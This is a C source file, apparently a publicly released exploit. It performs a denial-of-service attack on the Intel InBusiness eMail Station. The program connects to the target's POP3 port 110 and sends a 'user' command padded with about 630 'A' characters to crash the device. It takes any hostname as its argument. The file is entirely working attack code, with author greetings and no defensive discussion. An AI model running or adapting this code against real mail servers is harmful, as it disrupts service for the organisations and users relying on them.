/*

* intel InBusiness eMail Station DoS

*

* Errr... Denial Of Service against that little black intel box

* by incubus <incubus@securax.org>

*

* Respect: securax, hackschool, shelloracle, tessa, kim,

* glyc, splat, lamagra and steven.

*/

#include <netdb.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <errno.h>

void usage(char *proggie){

fprintf (stderr, "Intel InBusiness eMail Station Denial of Service\n");

fprintf (stderr, "do %s mail.server.com\n", proggie);

fprintf (stderr, "mail.server.com must be an InBusiness eMail Station\n\n");

exit(-1);

}

int main(int argc, char **argv){

char buf[636];

int i, sock, result;

struct sockaddr_in name;

struct hostent *hostinfo;

if (argc < 2) usage(argv[0]);

fprintf (stdout, "Intel InBusiness eMail Station Denial of Service\n");

fprintf (stdout, "by incubus <incubus@securax.org>\n\n");

hostinfo=gethostbyname(argv[1]);

if (!hostinfo){ herror("Error"); exit(-1); }

name.sin_family=AF_INET; name.sin_port=htons(110);

name.sin_addr=*(struct in_addr *)hostinfo->h_addr;

sock=socket(AF_INET, SOCK_STREAM, 0);

result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));

if (result != 0) { herror("Oops"); exit(-1); }

if (sock < 0){ herror("Oops"); exit(-1); }

strncpy(buf, "user ", 5);

for (i=0; i<630; i++) strncat(buf, "A", 1);

send(sock, buf, sizeof(buf), 0);

close(sock);

fprintf (stdout, "Denial of Service done\n\n");

close(sock);

}